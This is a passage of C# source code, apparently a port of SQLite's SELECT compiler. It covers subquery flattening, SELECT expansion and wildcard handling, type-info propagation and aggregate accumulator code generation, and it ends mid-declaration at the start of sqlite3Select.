pTabToDel.nRef == 1 )\n        {\n          pTabToDel.pNextZombie = pParse.pZombieTab;\n          pParse.pZombieTab = pTabToDel;\n        }\n        else\n        {\n          pTabToDel.nRef--;\n        }\n        pSubitem.pTab = null;\n      }\n\n      /* The following loop runs once for each term in a compound-subquery\n      ** flattening (as described above).  If we are doing a different kind\n      ** of flattening - a flattening other than a compound-subquery flattening -\n      ** then this loop only runs once.\n      **\n      ** This loop moves all of the FROM elements of the subquery into the\n      ** the FROM clause of the outer query.  Before doing this, remember\n      ** the cursor number for the original outer query FROM element in\n      ** iParent.  The iParent cursor will never be used.  Subsequent code\n      ** will scan expressions looking for iParent references and replace\n      ** those references with expressions that resolve to the subquery FROM\n      ** elements we are now copying in.\n      */\n      for ( pParent = p ; pParent != null ; pParent = pParent.pPrior, pSub = pSub.pPrior )\n      {\n        int nSubSrc;\n        u8 jointype = 0;\n        pSubSrc = pSub.pSrc;     /* FROM clause of subquery */\n        nSubSrc = pSubSrc.nSrc;  /* Number of terms in subquery FROM clause */\n        pSrc = pParent.pSrc;     /* FROM clause of the outer query */\n\n        if ( pSrc != null )\n        {\n          Debug.Assert( pParent == p );  /* First time through the loop */\n          jointype = pSubitem.jointype;\n        }\n        else\n        {\n          Debug.Assert( pParent != p );  /* 2nd and subsequent times through the loop */\n          pSrc = pParent.pSrc = sqlite3SrcListAppend( db, null, null, null );\n          //if ( pSrc == null )\n          //{\n          //  //Debug.Assert( db.mallocFailed != 0 );\n          //  break;\n          //}\n        }\n\n        /* The subquery uses a single slot of the FROM clause of the outer\n        ** query.  If the subquery has more than one element in its FROM clause,\n        ** then expand the outer query to make space for it to hold all elements\n        ** of the subquery.\n        **\n        ** Example:\n        **\n        **    SELECT * FROM tabA, (SELECT * FROM sub1, sub2), tabB;\n        **\n        ** The outer query has 3 slots in its FROM clause.  One slot of the\n        ** outer query (the middle slot) is used by the subquery.  The next\n        ** block of code will expand the out query to 4 slots.  The middle\n        ** slot is expanded to two slots in order to make space for the\n        ** two elements in the FROM clause of the subquery.\n        */\n        if ( nSubSrc > 1 )\n        {\n          pParent.pSrc = pSrc = sqlite3SrcListEnlarge( db, pSrc, nSubSrc - 1, iFrom + 1 );\n          //if ( db.mallocFailed != 0 )\n          //{\n          //  break;\n          //}\n        }\n\n        /* Transfer the FROM clause terms from the subquery into the\n        ** outer query.\n        */\n        for ( i = 0 ; i < nSubSrc ; i++ )\n        {\n          sqlite3IdListDelete( db, ref pSrc.a[i + iFrom].pUsing );\n          pSrc.a[i + iFrom] = pSubSrc.a[i];\n          pSubSrc.a[i] = new SrcList_item();//memset(pSubSrc.a[i], 0, sizeof(pSubSrc.a[i]));\n        }\n        pSrc.a[iFrom].jointype = jointype;\n\n        /* Now begin substituting subquery result set expressions for\n        ** references to the iParent in the outer query.\n        **\n        ** Example:\n        **\n        **   SELECT a+5, b*10 FROM (SELECT x*3 AS a, y+10 AS b FROM t1) WHERE a>b;\n        **   \\                     \\_____________ subquery __________/          /\n        **    \\_____________________ outer query ______________________________/\n        **\n        ** We look at every expression in the outer query and every place we see\n        ** \"a\" we substitute \"x*3\" and every place we see \"b\" we substitute \"y+10\".\n        */\n        pList = pParent.pEList;\n        for ( i = 0 ; i < pList.nExpr ; i++ )\n        {\n          if ( pList.a[i].zName == null )\n          {\n            string zSpan = pList.a[i].zSpan;\n            if ( ALWAYS( zSpan ) )\n            {\n              pList.a[i].zName = zSpan;// sqlite3DbStrDup( db, zSpan );\n            }\n          }\n        }\n        substExprList( db, pParent.pEList, iParent, pSub.pEList );\n        if ( isAgg )\n        {\n          substExprList( db, pParent.pGroupBy, iParent, pSub.pEList );\n          pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList );\n        }\n        if ( pSub.pOrderBy != null )\n        {\n          Debug.Assert( pParent.pOrderBy == null );\n          pParent.pOrderBy = pSub.pOrderBy;\n          pSub.pOrderBy = null;\n        }\n        else if ( pParent.pOrderBy != null )\n        {\n          substExprList( db, pParent.pOrderBy, iParent, pSub.pEList );\n        }\n        if ( pSub.pWhere != null )\n        {\n          pWhere = sqlite3ExprDup( db, pSub.pWhere, 0 );\n        }\n        else\n        {\n          pWhere = null;\n        }\n        if ( subqueryIsAgg )\n        {\n          Debug.Assert( pParent.pHaving == null );\n          pParent.pHaving = pParent.pWhere;\n          pParent.pWhere = pWhere;\n          pParent.pHaving = substExpr( db, pParent.pHaving, iParent, pSub.pEList );\n          pParent.pHaving = sqlite3ExprAnd( db, pParent.pHaving,\n          sqlite3ExprDup( db, pSub.pHaving, 0 ) );\n          Debug.Assert( pParent.pGroupBy == null );\n          pParent.pGroupBy = sqlite3ExprListDup( db, pSub.pGroupBy, 0 );\n        }\n        else\n        {\n          pParent.pWhere = substExpr( db, pParent.pWhere, iParent, pSub.pEList );\n          pParent.pWhere = sqlite3ExprAnd( db, pParent.pWhere, pWhere );\n        }\n\n        /* The flattened query is distinct if either the inner or the\n        ** outer query is distinct.\n        */\n        pParent.selFlags = (u16)( pParent.selFlags | pSub.selFlags & SF_Distinct );\n\n        /*\n        ** SELECT ... FROM (SELECT ... LIMIT a OFFSET b) LIMIT x OFFSET y;\n        **\n        ** One is tempted to try to add a and b to combine the limits.  But this\n        ** does not work if either limit is negative.\n        */\n        if ( pSub.pLimit != null )\n        {\n          pParent.pLimit = pSub.pLimit;\n          pSub.pLimit = null;\n        }\n      }\n\n      /* Finially, delete what is left of the subquery and return\n      ** success.\n      */\n      sqlite3SelectDelete( db, ref pSub );\n      sqlite3SelectDelete( db, ref pSub1 );\n      return 1;\n    }\n#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */\n\n    /*\n** Analyze the SELECT statement passed as an argument to see if it\n** is a min() or max() query. Return WHERE_ORDERBY_MIN or WHERE_ORDERBY_MAX if\n** it is, or 0 otherwise. At present, a query is considered to be\n** a min()/max() query if:\n**\n**   1. There is a single object in the FROM clause.\n**\n**   2. There is a single expression in the result set, and it is\n**      either min(x) or max(x), where x is a column reference.\n*/\n    static u8 minMaxQuery( Select p )\n    {\n      Expr pExpr;\n      ExprList pEList = p.pEList;\n\n      if ( pEList.nExpr != 1 ) return WHERE_ORDERBY_NORMAL;\n      pExpr = pEList.a[0].pExpr;\n      if ( pExpr.op != TK_AGG_FUNCTION ) return 0;\n      if ( NEVER( ExprHasProperty( pExpr, EP_xIsSelect ) ) ) return 0;\n      pEList = pExpr.x.pList;\n      if ( pEList == null || pEList.nExpr != 1 ) return 0;\n      if ( pEList.a[0].pExpr.op != TK_AGG_COLUMN ) return WHERE_ORDERBY_NORMAL;\n      Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) );\n      if ( String.Compare( pExpr.u.zToken, \"min\", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,\"min\")==0 )\n      {\n        return WHERE_ORDERBY_MIN;\n      }\n      else if ( String.Compare( pExpr.u.zToken, \"max\", true ) == 0 )//sqlite3StrICmp(pExpr->u.zToken,\"max\")==0 )\n      {\n        return WHERE_ORDERBY_MAX;\n      }\n      return WHERE_ORDERBY_NORMAL;\n    }\n\n    /*\n    ** The select statement passed as the first argument is an aggregate query.\n    ** The second argment is the associated aggregate-info object. This\n    ** function tests if the SELECT is of the form:\n    **\n    **   SELECT count(*) FROM <tbl>\n    **\n    ** where table is a database table, not a sub-select or view. If the query\n    ** does match this pattern, then a pointer to the Table object representing\n    ** <tbl> is returned. Otherwise, 0 is returned.\n    */\n    static Table isSimpleCount( Select p, AggInfo pAggInfo )\n    {\n      Table pTab;\n      Expr pExpr;\n\n      Debug.Assert( null == p.pGroupBy );\n\n      if ( p.pWhere != null || p.pEList.nExpr != 1\n      || p.pSrc.nSrc != 1 || p.pSrc.a[0].pSelect != null\n      )\n      {\n        return null;\n      }\n      pTab = p.pSrc.a[0].pTab;\n      pExpr = p.pEList.a[0].pExpr;\n      Debug.Assert( pTab != null && null == pTab.pSelect && pExpr != null );\n\n      if ( IsVirtual( pTab ) ) return null;\n      if ( pExpr.op != TK_AGG_FUNCTION ) return null;\n      if ( ( pAggInfo.aFunc[0].pFunc.flags & SQLITE_FUNC_COUNT ) == 0 ) return null;\n      if ( ( pExpr.flags & EP_Distinct ) != 0 ) return null;\n\n      return pTab;\n    }\n\n    /*\n    ** If the source-list item passed as an argument was augmented with an\n    ** INDEXED BY clause, then try to locate the specified index. If there\n    ** was such a clause and the named index cannot be found, return\n    ** SQLITE_ERROR and leave an error in pParse. Otherwise, populate\n    ** pFrom.pIndex and return SQLITE_OK.\n    */\n    static int sqlite3IndexedByLookup( Parse pParse, SrcList_item pFrom )\n    {\n      if ( pFrom.pTab != null && pFrom.zIndex != null && pFrom.zIndex.Length != 0 )\n      {\n        Table pTab = pFrom.pTab;\n        string zIndex = pFrom.zIndex;\n        Index pIdx;\n        for ( pIdx = pTab.pIndex ;\n        pIdx != null && sqlite3StrICmp( pIdx.zName, zIndex ) != 0 ;\n        pIdx = pIdx.pNext\n        ) ;\n        if ( null == pIdx )\n        {\n          sqlite3ErrorMsg( pParse, \"no such index: %s\", zIndex );\n          return SQLITE_ERROR;\n        }\n        pFrom.pIndex = pIdx;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** This routine is a Walker callback for \"expanding\" a SELECT statement.\n    ** \"Expanding\" means to do the following:\n    **\n    **    (1)  Make sure VDBE cursor numbers have been assigned to every\n    **         element of the FROM clause.\n    **\n    **    (2)  Fill in the pTabList.a[].pTab fields in the SrcList that\n    **         defines FROM clause.  When views appear in the FROM clause,\n    **         fill pTabList.a[].x.pSelect with a copy of the SELECT statement\n    **         that implements the view.  A copy is made of the view's SELECT\n    **         statement so that we can freely modify or delete that statement\n    **         without worrying about messing up the presistent representation\n    **         of the view.\n    **\n    **    (3)  Add terms to the WHERE clause to accomodate the NATURAL keyword\n    **         on joins and the ON and USING clause of joins.\n    **\n    **    (4)  Scan the list of columns in the result set (pEList) looking\n    **         for instances of the \"*\" operator or the TABLE.* operator.\n    **         If found, expand each \"*\" to be every column in every table\n    **         and TABLE.* to be every column in TABLE.\n    **\n    */\n    static int selectExpander( Walker pWalker, Select p )\n    {\n      Parse pParse = pWalker.pParse;\n      int i, j, k;\n      SrcList pTabList;\n      ExprList pEList;\n      SrcList_item pFrom;\n      sqlite3 db = pParse.db;\n\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  return WRC_Abort;\n      //}\n      if ( NEVER( p.pSrc == null ) || ( p.selFlags & SF_Expanded ) != 0 )\n      {\n        return WRC_Prune;\n      }\n      p.selFlags |= SF_Expanded;\n      pTabList = p.pSrc;\n      pEList = p.pEList;\n\n      /* Make sure cursor numbers have been assigned to all entries in\n      ** the FROM clause of the SELECT statement.\n      */\n      sqlite3SrcListAssignCursors( pParse, pTabList );\n\n      /* Look up every table named in the FROM clause of the select.  If\n      ** an entry of the FROM clause is a subquery instead of a table or view,\n      ** then create a transient table ure to describe the subquery.\n      */\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )// pFrom++ )\n      {\n        pFrom = pTabList.a[i];\n        Table pTab;\n        if ( pFrom.pTab != null )\n        {\n          /* This statement has already been prepared.  There is no need\n          ** to go further. */\n          Debug.Assert( i == 0 );\n          return WRC_Prune;\n        }\n        if ( pFrom.zName == null )\n        {\n#if !SQLITE_OMIT_SUBQUERY\n          Select pSel = pFrom.pSelect;\n          /* A sub-query in the FROM clause of a SELECT */\n          Debug.Assert( pSel != null );\n          Debug.Assert( pFrom.pTab == null );\n          sqlite3WalkSelect( pWalker, pSel );\n          pFrom.pTab = pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) );\n          if ( pTab == null ) return WRC_Abort;\n          pTab.dbMem = db.lookaside.bEnabled != 0 ? db : null;\n          pTab.nRef = 1;\n          pTab.zName = sqlite3MPrintf( db, \"sqlite_subquery_%p_\", pTab );\n          while ( pSel.pPrior != null ) { pSel = pSel.pPrior; }\n          selectColumnsFromExprList( pParse, pSel.pEList, ref pTab.nCol, ref pTab.aCol );\n          pTab.iPKey = -1;\n          pTab.tabFlags |= TF_Ephemeral;\n#endif\n        }\n        else\n        {\n          /* An ordinary table or view name in the FROM clause */\n          Debug.Assert( pFrom.pTab == null );\n          pFrom.pTab = pTab =\n          sqlite3LocateTable( pParse, 0, pFrom.zName, pFrom.zDatabase );\n          if ( pTab == null ) return WRC_Abort;\n          pTab.nRef++;\n#if !(SQLITE_OMIT_VIEW) || !(SQLITE_OMIT_VIRTUALTABLE)\n          if ( pTab.pSelect != null || IsVirtual( pTab ) )\n          {\n            /* We reach here if the named table is a really a view */\n            if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) return WRC_Abort;\n\n            pFrom.pSelect = sqlite3SelectDup( db, pTab.pSelect, 0 );\n            sqlite3WalkSelect( pWalker, pFrom.pSelect );\n          }\n#endif\n        }\n        /* Locate the index named by the INDEXED BY clause, if any. */\n        if ( sqlite3IndexedByLookup( pParse, pFrom ) != 0 )\n        {\n          return WRC_Abort;\n        }\n      }\n\n      /* Process NATURAL keywords, and ON and USING clauses of joins.\n      */\n      if ( /* db.mallocFailed != 0 || */ sqliteProcessJoin( pParse, p ) != 0 )\n      {\n        return WRC_Abort;\n      }\n\n      /* For every \"*\" that occurs in the column list, insert the names of\n      ** all columns in all tables.  And for every TABLE.* insert the names\n      ** of all columns in TABLE.  The parser inserted a special expression\n      ** with the TK_ALL operator for each \"*\" that it found in the column list.\n      ** The following code just has to locate the TK_ALL expressions and expand\n      ** each one to the list of all columns in all tables.\n      **\n      ** The first loop just checks to see if there are any \"*\" operators\n      ** that need expanding.\n      */\n      for ( k = 0 ; k < pEList.nExpr ; k++ )\n      {\n        Expr pE = pEList.a[k].pExpr;\n        if ( pE.op == TK_ALL ) break;\n        Debug.Assert( pE.op != TK_DOT || pE.pRight != null );\n        Debug.Assert( pE.op != TK_DOT || ( pE.pLeft != null && pE.pLeft.op == TK_ID ) );\n        if ( pE.op == TK_DOT && pE.pRight.op == TK_ALL ) break;\n      }\n      if ( k < pEList.nExpr )\n      {\n        /*\n        ** If we get here it means the result set contains one or more \"*\"\n        ** operators that need to be expanded.  Loop through each expression\n        ** in the result set and expand them one by one.\n        */\n        ExprList_item[] a = pEList.a;\n        ExprList pNew = null;\n        int flags = pParse.db.flags;\n        bool longNames = ( flags & SQLITE_FullColNames ) != 0\n        && ( flags & SQLITE_ShortColNames ) == 0;\n\n        for ( k = 0 ; k < pEList.nExpr ; k++ )\n        {\n          Expr pE = a[k].pExpr;\n          Debug.Assert( pE.op != TK_DOT || pE.pRight != null );\n          if ( pE.op != TK_ALL && ( pE.op != TK_DOT || pE.pRight.op != TK_ALL ) )\n          {\n            /* This particular expression does not need to be expanded.\n            */\n            pNew = sqlite3ExprListAppend( pParse, pNew, a[k].pExpr );\n            if ( pNew != null )\n            {\n              pNew.a[pNew.nExpr - 1].zName = a[k].zName;\n              pNew.a[pNew.nExpr - 1].zSpan = a[k].zSpan;\n              a[k].zName = null;\n              a[k].zSpan = null;\n            }\n            a[k].pExpr = null;\n          }\n          else\n          {\n            /* This expression is a \"*\" or a \"TABLE.*\" and needs to be\n            ** expanded. */\n            int tableSeen = 0;      /* Set to 1 when TABLE matches */\n            string zTName;            /* text of name of TABLE */\n            if ( pE.op == TK_DOT )\n            {\n              Debug.Assert( pE.pLeft != null );\n              Debug.Assert( !ExprHasProperty( pE.pLeft, EP_IntValue ) );\n              zTName = pE.pLeft.u.zToken;\n            }\n            else\n            {\n              zTName = null;\n            }\n            for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ )\n            {\n              pFrom = pTabList.a[i];\n              Table pTab = pFrom.pTab;\n              string zTabName = pFrom.zAlias;\n              if ( zTabName == null )\n              {\n                zTabName = pTab.zName;\n              }\n              ///if ( db.mallocFailed != 0 ) break;\n              if ( zTName != null && sqlite3StrICmp( zTName, zTabName ) != 0 )\n              {\n                continue;\n              }\n              tableSeen = 1;\n              for ( j = 0 ; j < pTab.nCol ; j++ )\n              {\n                Expr pExpr, pRight;\n                string zName = pTab.aCol[j].zName;\n                string zColname;  /* The computed column name */\n                string zToFree;   /* Malloced string that needs to be freed */\n                Token sColname = new Token();   /* Computed column name as a token */\n\n                /* If a column is marked as 'hidden' (currently only possible\n                ** for virtual tables), do not include it in the expanded\n                ** result-set list.\n                */\n                if ( IsHiddenColumn( pTab.aCol[j] ) )\n                {\n                  Debug.Assert( IsVirtual( pTab ) );\n                  continue;\n                }\n\n                if ( i > 0 && ( zTName == null || zTName.Length == 0 ) )\n                {\n                  SrcList_item pLeft = pTabList.a[i - 1];\n                  if ( ( pTabList.a[i].jointype & JT_NATURAL ) != 0 &&//pLeft[1]\n                  columnIndex( pLeft.pTab, zName ) >= 0 )\n                  {\n                    /* In a NATURAL join, omit the join columns from the\n                    ** table on the right */\n                    continue;\n                  }\n                  if ( sqlite3IdListIndex( pTabList.a[i].pUsing, zName ) >= 0 )//pLeft[1]\n                  {\n                    /* In a join with a USING clause, omit columns in the\n                    ** using clause from the table on the right. */\n                    continue;\n                  }\n                }\n                pRight = sqlite3Expr( db, TK_ID, zName );\n                zColname = zName;\n                zToFree = \"\";\n                if ( longNames || pTabList.nSrc > 1 )\n                {\n                  Expr pLeft;\n                  pLeft = sqlite3Expr( db, TK_ID, zTabName );\n                  pExpr = sqlite3PExpr( pParse, TK_DOT, pLeft, pRight, 0 );\n                  if ( longNames )\n                  {\n                    zColname = sqlite3MPrintf( db, \"%s.%s\", zTabName, zName );\n                    zToFree = zColname;\n                  }\n                }\n                else\n                {\n                  pExpr = pRight;\n                }\n                pNew = sqlite3ExprListAppend( pParse, pNew, pExpr );\n                sColname.z = zColname;\n                sColname.n = sqlite3Strlen30( zColname );\n                sqlite3ExprListSetName( pParse, pNew, sColname, 0 );\n                //sqlite3DbFree( db, zToFree );\n              }\n            }\n            if ( tableSeen == 0 )\n            {\n              if ( zTName != null )\n              {\n                sqlite3ErrorMsg( pParse, \"no such table: %s\", zTName );\n              }\n              else\n              {\n                sqlite3ErrorMsg( pParse, \"no tables specified\" );\n              }\n            }\n          }\n        }\n        sqlite3ExprListDelete( db, ref pEList );\n        p.pEList = pNew;\n      }\n#if SQLITE_MAX_COLUMN\nif( p.pEList && p.pEList.nExpr>db.aLimit[SQLITE_LIMIT_COLUMN] ){\nsqlite3ErrorMsg(pParse, \"too many columns in result set\");\n}\n#endif\n      return WRC_Continue;\n    }\n\n    /*\n    ** No-op routine for the parse-tree walker.\n    **\n    ** When this routine is the Walker.xExprCallback then expression trees\n    ** are walked without any actions being taken at each node.  Presumably,\n    ** when this routine is used for Walker.xExprCallback then\n    ** Walker.xSelectCallback is set to do something useful for every\n    ** subquery in the parser tree.\n    */\n    static int exprWalkNoop( Walker NotUsed, ref Expr NotUsed2 )\n    {\n      UNUSED_PARAMETER2( NotUsed, NotUsed2 );\n      return WRC_Continue;\n    }\n\n    /*\n    ** This routine \"expands\" a SELECT statement and all of its subqueries.\n    ** For additional information on what it means to \"expand\" a SELECT\n    ** statement, see the comment on the selectExpand worker callback above.\n    **\n    ** Expanding a SELECT statement is the first step in processing a\n    ** SELECT statement.  The SELECT statement must be expanded before\n    ** name resolution is performed.\n    **\n    ** If anything goes wrong, an error message is written into pParse.\n    ** The calling function can detect the problem by looking at pParse.nErr\n    ** and/or pParse.db.mallocFailed.\n    */\n    static void sqlite3SelectExpand( Parse pParse, Select pSelect )\n    {\n      Walker w = new Walker();\n      w.xSelectCallback = selectExpander;\n      w.xExprCallback = exprWalkNoop;\n      w.pParse = pParse;\n      sqlite3WalkSelect( w, pSelect );\n    }\n\n\n#if !SQLITE_OMIT_SUBQUERY\n    /*\n** This is a Walker.xSelectCallback callback for the sqlite3SelectTypeInfo()\n** interface.\n**\n** For each FROM-clause subquery, add Column.zType and Column.zColl\n** information to the Table ure that represents the result set\n** of that subquery.\n**\n** The Table ure that represents the result set was coned\n** by selectExpander() but the type and collation information was omitted\n** at that point because identifiers had not yet been resolved.  This\n** routine is called after identifier resolution.\n*/\n    static int selectAddSubqueryTypeInfo( Walker pWalker, Select p )\n    {\n      Parse pParse;\n      int i;\n      SrcList pTabList;\n      SrcList_item pFrom;\n\n      Debug.Assert( ( p.selFlags & SF_Resolved ) != 0 );\n      Debug.Assert( ( p.selFlags & SF_HasTypeInfo ) == 0 );\n      p.selFlags |= SF_HasTypeInfo;\n      pParse = pWalker.pParse;\n      pTabList = p.pSrc;\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pFrom++ )\n      {\n        pFrom = pTabList.a[i];\n        Table pTab = pFrom.pTab;\n        if ( ALWAYS( pTab != null ) && ( pTab.tabFlags & TF_Ephemeral ) != 0 )\n        {\n          /* A sub-query in the FROM clause of a SELECT */\n          Select pSel = pFrom.pSelect;\n          Debug.Assert( pSel != null );\n          while ( pSel.pPrior != null ) pSel = pSel.pPrior;\n          selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSel );\n        }\n      }\n      return WRC_Continue;\n    }\n#endif\n\n\n    /*\n** This routine adds datatype and collating sequence information to\n** the Table ures of all FROM-clause subqueries in a\n** SELECT statement.\n**\n** Use this routine after name resolution.\n*/\n    static void sqlite3SelectAddTypeInfo( Parse pParse, Select pSelect )\n    {\n#if !SQLITE_OMIT_SUBQUERY\n      Walker w = new Walker();\n      w.xSelectCallback = selectAddSubqueryTypeInfo;\n      w.xExprCallback = exprWalkNoop;\n      w.pParse = pParse;\n      sqlite3WalkSelect( w, pSelect );\n#endif\n    }\n\n\n    /*\n    ** This routine sets of a SELECT statement for processing.  The\n    ** following is accomplished:\n    **\n    **     *  VDBE VdbeCursor numbers are assigned to all FROM-clause terms.\n    **     *  Ephemeral Table objects are created for all FROM-clause subqueries.\n    **     *  ON and USING clauses are shifted into WHERE statements\n    **     *  Wildcards \"*\" and \"TABLE.*\" in result sets are expanded.\n    **     *  Identifiers in expression are matched to tables.\n    **\n    ** This routine acts recursively on all subqueries within the SELECT.\n    */\n    static void sqlite3SelectPrep(\n    Parse pParse,         /* The parser context */\n    Select p,             /* The SELECT statement being coded. */\n    NameContext pOuterNC  /* Name context for container */\n    )\n    {\n      sqlite3 db;\n      if ( NEVER( p == null ) ) return;\n      db = pParse.db;\n      if ( ( p.selFlags & SF_HasTypeInfo ) != 0 ) return;\n      sqlite3SelectExpand( pParse, p );\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return;\n      sqlite3ResolveSelectNames( pParse, p, pOuterNC );\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return;\n      sqlite3SelectAddTypeInfo( pParse, p );\n    }\n\n    /*\n    ** Reset the aggregate accumulator.\n    **\n    ** The aggregate accumulator is a set of memory cells that hold\n    ** intermediate results while calculating an aggregate.  This\n    ** routine simply stores NULLs in all of those memory cells.\n    */\n    static void resetAccumulator( Parse pParse, AggInfo pAggInfo )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i;\n      AggInfo_func pFunc;\n      if ( pAggInfo.nFunc + pAggInfo.nColumn == 0 )\n      {\n        return;\n      }\n      for ( i = 0 ; i < pAggInfo.nColumn ; i++ )\n      {\n        sqlite3VdbeAddOp2( v, OP_Null, 0, pAggInfo.aCol[i].iMem );\n      }\n      for ( i = 0 ; i < pAggInfo.nFunc ; i++ )\n      {//, pFunc++){\n        pFunc = pAggInfo.aFunc[i];\n        sqlite3VdbeAddOp2( v, OP_Null, 0, pFunc.iMem );\n        if ( pFunc.iDistinct >= 0 )\n        {\n          Expr pE = pFunc.pExpr;\n          Debug.Assert( !ExprHasProperty( pE, EP_xIsSelect ) );\n          if ( pE.x.pList == null || pE.x.pList.nExpr != 1 )\n          {\n            sqlite3ErrorMsg( pParse, \"DISTINCT aggregates must have exactly one \" +\n            \"argument\" );\n            pFunc.iDistinct = -1;\n          }\n          else\n          {\n            KeyInfo pKeyInfo = keyInfoFromExprList( pParse, pE.x.pList );\n            sqlite3VdbeAddOp4( v, OP_OpenEphemeral, pFunc.iDistinct, 0, 0,\n            pKeyInfo, P4_KEYINFO_HANDOFF );\n          }\n        }\n      }\n    }\n\n    /*\n    ** Invoke the OP_AggFinalize opcode for every aggregate function\n    ** in the AggInfo structure.\n    */\n    static void finalizeAggFunctions( Parse pParse, AggInfo pAggInfo )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i;\n      AggInfo_func pF;\n      for ( i = 0 ; i < pAggInfo.nFunc ; i++ )\n      {//, pF++){\n        pF = pAggInfo.aFunc[i];\n        ExprList pList = pF.pExpr.x.pList;\n        Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) );\n        sqlite3VdbeAddOp4( v, OP_AggFinal, pF.iMem, pList != null ? pList.nExpr : 0, 0,\n        pF.pFunc, P4_FUNCDEF );\n      }\n    }\n\n    /*\n    ** Update the accumulator memory cells for an aggregate based on\n    ** the current cursor position.\n    */\n    static void updateAccumulator( Parse pParse, AggInfo pAggInfo )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i;\n      AggInfo_func pF;\n      AggInfo_col pC;\n\n      pAggInfo.directMode = 1;\n      sqlite3ExprCacheClear( pParse );\n      for ( i = 0 ; i < pAggInfo.nFunc ; i++ )\n      {//, pF++){\n        pF = pAggInfo.aFunc[i];\n        int nArg;\n        int addrNext = 0;\n        int regAgg;\n        Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) );\n        ExprList pList = pF.pExpr.x.pList;\n        if ( pList != null )\n        {\n          nArg = pList.nExpr;\n          regAgg = sqlite3GetTempRange( pParse, nArg );\n          sqlite3ExprCodeExprList( pParse, pList, regAgg, false );\n        }\n        else\n        {\n          nArg = 0;\n          regAgg = 0;\n        }\n        if ( pF.iDistinct >= 0 )\n        {\n          addrNext = sqlite3VdbeMakeLabel( v );\n          Debug.Assert( nArg == 1 );\n          codeDistinct( pParse, pF.iDistinct, addrNext, 1, regAgg );\n        }\n        if ( ( pF.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 )\n        {\n          CollSeq pColl = null;\n          ExprList_item pItem;\n          int j;\n          Debug.Assert( pList != null );  /* pList!=0 if pF->pFunc has NEEDCOLL */\n          for ( j = 0 ; pColl == null && j < nArg ; j++ )\n          {//, pItem++){\n            pItem = pList.a[j];\n            pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr );\n          }\n          if ( pColl == null )\n          {\n            pColl = pParse.db.pDfltColl;\n          }\n          sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ );\n        }\n        sqlite3VdbeAddOp4( v, OP_AggStep, 0, regAgg, pF.iMem,\n        pF.pFunc, P4_FUNCDEF );\n        sqlite3VdbeChangeP5( v, (u8)nArg );\n        sqlite3ReleaseTempRange( pParse, regAgg, nArg );\n        sqlite3ExprCacheAffinityChange( pParse, regAgg, nArg );\n        if ( addrNext != 0 )\n        {\n          sqlite3VdbeResolveLabel( v, addrNext );\n          sqlite3ExprCacheClear( pParse );\n        }\n      }\n      for ( i = 0 ; i < pAggInfo.nAccumulator ; i++ )//, pC++)\n      {\n        pC = pAggInfo.aCol[i];\n        sqlite3ExprCode( pParse, pC.pExpr, pC.iMem );\n      }\n      pAggInfo.directMode = 0;\n      sqlite3ExprCacheClear( pParse );\n    }\n\n    /*\n    ** Generate code for the SELECT statement given in the p argument.\n    **\n    ** The results are distributed in various ways depending on the\n    ** contents of the SelectDest structure pointed to by argument pDest\n    ** as follows:\n    **\n    **     pDest.eDest    Result\n    **     ------------    -------------------------------------------\n    **     SRT_Output      Generate a row of output (using the OP_ResultRow\n    **                     opcode) for each row in the result set.\n    **\n    **     SRT_Mem         Only valid if the result is a single column.\n    **                     Store the first column of the first result row\n    **                     in register pDest.iParm then abandon the rest\n    **                     of the query.  This destination implies \"LIMIT 1\".\n    **\n    **     SRT_Set         The result must be a single column.  Store each\n    **                     row of result as the key in table pDest.iParm.\n    **                     Apply the affinity pDest.affinity before storing\n    **                     results.  Used to implement \"IN (SELECT ...)\".\n    **\n    **     SRT_Union       Store results as a key in a temporary table pDest.iParm.\n    **\n    **     SRT_Except      Remove results from the temporary table pDest.iParm.\n    **\n    **     SRT_Table       Store results in temporary table pDest.iParm.\n    **                     This is like SRT_EphemTab except that the table\n    **                     is assumed to already be open.\n    **\n    **     SRT_EphemTab    Create an temporary table pDest.iParm and store\n    **                     the result there. The cursor is left open after\n    **                     returning.  This is like SRT_Table except that\n    **                     this destination uses OP_OpenEphemeral to create\n    **                     the table first.\n    **\n    **     SRT_Coroutine   Generate a co-routine that returns a new row of\n    **                     results each time it is invoked.  The entry point\n    **                     of the co-routine is stored in register pDest.iParm.\n    **\n    **     SRT_Exists      Store a 1 in memory cell pDest.iParm if the result\n    **                     set is not empty.\n    **\n    **     SRT_Discard     Throw the results away.  This is used by SELECT\n    **                     statements within triggers whose only purpose is\n    **                     the side-effects of functions.\n    **\n    ** This routine returns the number of errors.  If any errors are\n    ** encountered, then an appropriate error message is left in\n    ** pParse.zErrMsg.\n    **\n    ** This routine does NOT free the Select structure passed in.  The\n    ** calling function needs to do that.\n    */\n    static SelectDest sdDummy = null;\n    static bool bDummy = false;\n\n    static int sqlite3Select(\n    Parse pParse,         /* The parser context */\n    Select p,             /* The SELECT statement being coded. */\n    ref SelectDest pDest /* What to do with the query results */\n    )\n    {\n      int i, j;               /* Loop counters */\n      WhereInfo pWInfo;       /* Return from sqlite3WhereBegin() */\n      Vdbe v;                 /* The virtual machine under construction */\n      bool isAgg;             /* True for select lists like \"count(*)\" */\n      ExprList pEList = new ExprList();      /* List of columns to extract. */\n      SrcList pTabList = new SrcList();     /* List of tables to select from */\n      Expr pWhere;            /* The WHERE clause.  May be NULL */\n      